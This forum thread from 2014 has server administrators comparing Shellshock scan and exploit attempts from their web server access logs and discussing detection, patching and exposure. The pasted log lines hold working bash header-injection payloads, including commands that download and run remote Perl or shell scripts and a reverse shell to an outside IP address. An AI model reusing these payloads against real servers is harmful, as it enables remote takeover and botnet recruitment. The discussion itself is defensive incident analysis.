Did anyone try to Bash Shell Shock you so far?

Personally, I started receiving vulnerability scans almost immediately; real attempted exploits started yesterday or today.

The access.log entry from a try against a web server might look like this:

209.126.230.72 - - [25/Sep/2014:00:09:18 +0000] "GET / HTTP/1.0" 200 612 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

That was just a white hat scanning the Internet. A real exploit would have a rather more malicious payload than "ping".

On the other hand, an attacker could use HTTP headers that don't typically get logged rather than Referer like that one did – and, of course, if they did successfully break in, editing your log files might be the first thing they'd do.

This is the best one I've seen

188.138.33.11 - - [27/Sep/2014:11:22:36 -0400] "GET /cgi-sys/php5? HTTP/1.1" 404 287 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Thanks for the replies so far.

I searched my /var/log/nginx/access.log, /var/log/nginx/access.log.1, /var/log/nginx/access.log.2, etc. files for the string "()

For September 22 and 23 (my time zone, GMT+2) I found nothing.

September 24:

209.126.230.72 - - [24/Sep/2014:23:30:40 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [24/Sep/2014:23:59:35 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

September 25:

209.126.230.72 - - [25/Sep/2014:02:33:12 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [25/Sep/2014:05:40:22 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [25/Sep/2014:06:16:17 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [25/Sep/2014:08:01:43 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

89.207.135.125 - - [25/Sep/2014:09:13:02 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

89.207.135.125 - - [25/Sep/2014:10:26:35 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

89.207.135.125 - - [25/Sep/2014:12:36:55 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

89.207.135.125 - - [25/Sep/2014:15:09:22 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

September 26:

54.251.83.67 - - [26/Sep/2014:09:43:05 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a" "-"

54.251.83.67 - - [26/Sep/2014:19:13:50 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a" "-"

September 27:

114.91.105.103 - - [27/Sep/2014:15:36:39 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c 'wget http://sts01.com/.../reg.sh -O /tmp/reg.sh && /bin/bash /tmp/reg.sh http://197.242.148.29:8088 [redacted by dee4]'" "-"

188.138.33.11 - - [27/Sep/2014:17:13:19 +0200] "GET /cgi-sys/php5? HTTP/1.1" 301 184 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\x22);'" "-"

114.91.100.234 - - [27/Sep/2014:17:16:50 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c 'wget http://sts01.com/.../reg.sh -O /tmp/reg.sh && /bin/bash /tmp/reg.sh http://197.242.148.29:8088 [redacted by dee4]'" "-"

September 28: None so far, almost 4 hours in now.

I patched the Bash using Ubuntu's update late on September 25, long after all those lines shown above for September 25.

Given this, do you think I'm safe?

Also:

* Should I search for something other than the string "() in the nginx log files?

• Does the fact that I run nginx instead of Apache, and don't have PHP installed, make me any safer?

• Can the exploit be done via Postfix or Dovecot?

Nginx web, and a Postfix/Dovecot setup is all I have on my node.

@sweh:

This is the best one I've seen

188.138.33.11 - - [27/Sep/2014:11:22:36 -0400] "GET /cgi-sys/php5? HTTP/1.1" 404 287 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

I had that one too. I decied to pull down the shell.pl just to see what it was trying to do and got a 404 on it.

@dee4:

Also:

* Should I search for something other than the string "() in the nginx log files?

• Does the fact that I run nginx instead of Apache, and don't have PHP installed, make me any safer?

• Can the exploit be done via Postfix or Dovecot?

1. The () would be constant, although not necessarily preceded by a double quote. The attack value could be anywhere that the web server might stuff it into an environment variable. (Unfortunately I'm not aware of a comprehensive list; here's a partial one for Apache. I would assume that Apache limits some of these, e.g. REQUEST_METHOD, to valid values only.) As others noted, there are possible vectors that probably don't appear in your access logs (e.g., in the "Host:" header of the HTTP request).

2. Possibly. Presumably (I'm not familiar with it) Nginx does some things differently than Apache. When it comes to CGI there's a standard, so there's commonality between how web servers behave (if you're using CGI).

3. Any outside-facing server could potentially be vulnerable. I see some discussion on the Dovecot mailing list about this, but nothing for Postfix. My understanding of Postfix is it uses environment variables for very little, communicating with outside processes via sockets mostly.

The good news for you is that by default, Ubuntu uses dash, not bash, as /bin/sh. You can use ls -l /bin/sh to double-check. This means that only a network application that explicitly calls bash would be vulnerable. (For example, MediaWiki runs ImageMagick as an external process using proc_open(). This uses /bin/sh, so by default on Ubuntu/Debian would use dash, but on CentOS it would be using bash.)

Thanks.

So it seems there is no way of really knowing whether the machine is compromised. They could have attacked it already, installed a key logger (thus compromising the sudo password), and modified the logs.

Given this, I'm thinking about creating a brand new Linode with a new sudo password and migrate everything over to the new one.

Questions:

* If you haven't done this, why not? Are you just trusting that you're fine even if you don't have any evidence to support it?

• Can a brand-new Ubuntu linode possibly be attacked (shell shocked or anything else)? I don't want it to get attacked BEFORE I run "apt-get upgrade"! It should be safe since Ubuntu doesn't have any network services enabled by default, right? So even if the firewall is completely open by default, there aren't any services to handle incoming requests, right?

postifx sanitises variables before passing them onto sub processes. qmail is potentially vulnerable. exim4 may be (I'm not sure).

@dee4:

Thanks.

So it seems there is no way of really knowing whether the machine is compromised. They could have attacked it already, installed a key logger (thus compromising the sudo password), and modified the logs.
Depends on the user process that's compromised. Breakins via http are typically run as the apache or httpd user and these don't have rights to install key loggers (unless you also have a local exploit to increase privs).

@mnordhoff:

Personally, I started receiving vulnerability scans almost immediately; real attempted exploits started yesterday or today.

The access.log entry from a try against a web server might look like this:

209.126.230.72 - - [25/Sep/2014:00:09:18 +0000] "GET / HTTP/1.0" 200 612 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

That was just a white hat scanning the Internet. A real exploit would have a rather more malicious payload than "ping".

On the other hand, an attacker could use HTTP headers that don't typically get logged rather than Referer like that one did – and, of course, if they did successfully break in, editing your log files might be the first thing they'd do.

I have a few similar entries in my log file. So I assume if the result of the query was 200 then the scan was a success and the command was executed?

@The Other Air Force:

I have a few similar entries in my log file. So I assume if the result of the query was 200 then the scan was a success and the command was executed?
It just means the web request (in this case retrieving the root URL (/)) was successful. It says nothing about whether the processing to handle that request at some point invoked a bash shell and if so, whether it was at risk of being compromised.

For the most common vector, it would need to have been a path for which CGI was being used to process, and for which the CGI script eventually used bash. That seems fairly unlikely for a root request, but only you would know for sure.

IMO, looking for visible signs of a break-in in logs like this is not that helpful, since in very few cases would anyone who was actually trying to break in use something that would leave a record in a standard request log. You'd be better off monitoring/reviewing all of your CGI-based requests prior to patching bash, for example, but don't expect to be able to tell the difference between a normal request and an attack.

– David

@db3l:

IMO, looking for visible signs of a break-in in logs like this is not that helpful, since in very few cases would anyone who was actually trying to break in use something that would leave a record in a standard request log. (…)
Just to correct myself, based on some information Cloudflare published today (http://blog.cloudflare.com/inside-shellshock/) on analysis of attacks they see, I may have been too generous to would-be attackers. Most (no specific percentage) of the attempts Cloudflare is seeing are apparently using User-Agent and Referer, either of which would appear in most logs. So I guess attackers aren't working that hard to hide themselves.

– David

@dee4:

So it seems there is no way of really knowing whether the machine is compromised.

Given this, I'm thinking about creating a brand new Linode with a new sudo password and migrate everything over to the new one.

Questions:
* If you haven't done this, why not? Are you just trusting that you're fine even if you don't have any evidence to support it?

• Can a brand-new Ubuntu linode possibly be attacked (shell shocked or anything else)? I don't want it to get attacked BEFORE I run "apt-get upgrade"! It should be safe since Ubuntu doesn't have any network services enabled by default, right? So even if the firewall is completely open by default, there aren't any services to handle incoming requests, right?
  I'd like to bump my questions. Your thoughts are appreciated. I'll be recreating my nodes soon unless someone can convince me that I'd be wasting my time.

Unless you have set /bin/sh to be bash (not the default on Ubuntu) or you have network services exposed to the Internet that explicitly call bash, you are not vulnerable.

Personally, I help manage a CentOS instance (which does use bash as /bin/sh) and am not concerned about it. Patches were applied promptly and the only possible vector I'm aware of on that machine is MediaWiki. The Apache logs show only a handful of attack attempts, none of which would have caused MediaWiki to attempt shell access. (Note that in order to overwrite the logs, a privilege escalation attack would have to succeed in addition to the shellshock attack.)

I admire your sense of caution, but in this case it seems like overkill. But if it helps you sleep better at night, it's worth the effort.

What should be done to patch the vulnerability? Would running apt-get update/upgrade fix it?

@John Henry Eden:

What should be done to patch the vulnerability? Would running apt-get update/upgrade fix it?

Yep

@John Henry Eden:

What should be done to patch the vulnerability? Would running apt-get update/upgrade fix it?
Assuming that you are running a version of Linux where security updates are still being released.

For Debian, if you are running Wheezy, then yes. If you are still running Squeeze, then you need to add the LTS repos.

Check this out from the logs from Sokolovskaya:

89.207.135.125 - - [25/Sep/2014:07:05:56 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 506 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Some dude going through a VPS in the Netherlands tried to ping a VPS owned by RackSpace Hosting. Going through a VPS. Too much VPS.

202.38.120.248 - - [26/Sep/2014:06:23:28 -0400] "GET / HTTP/1.0" 200 1458 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
114.91.100.234 - - [27/Sep/2014:10:27:56 -0400] "GET / HTTP/1.1" 200 1458 "-" "() { :;}; /bin/bash -c 'wget http://sts01.com/.../reg.sh -O /tmp/reg.sh && /bin/bash /tmp/reg.sh http://197.242.148.29:8088 23.239.27.244'"
54.251.83.67 - - [29/Sep/2014:05:58:53 -0400] "GET / HTTP/1.1" 200 1458 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
82.221.131.250 - - [30/Sep/2014:08:46:36 -0400] "GET / HTTP/1.1" 200 1458 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 
2.133.128.30 - - [01/Oct/2014:04:15:15 -0400] "GET /git/gitweb.cgi?p=xkcd936.git;a=blob;f=listGen936.py;h=a4540f8b836221cec417f3b3a6b118b5f449b818;hb=H EAD HTTP/1.1" 200 12229 "() { :;}; echo; /usr/bin/wget http://2.133.128.30/robots.txt?http://redsec.ru/git/gitweb.cgi?p=xkcd936.git;a=blob;f=listGen936.py;h=a4540f8b836221cec417f3b3a6b118b5f449b818;hb=HEAD;" "() { :;}; echo; /usr/bin/wget http://2.133.128.30/robots.txt?http://redsec.ru/git/gitweb.cgi? p=xkcd936.git;a=blob;f=listGen936.py;h=a4540f8b836221cec417f3b3a6b118b5f449b818;hb=HEAD;"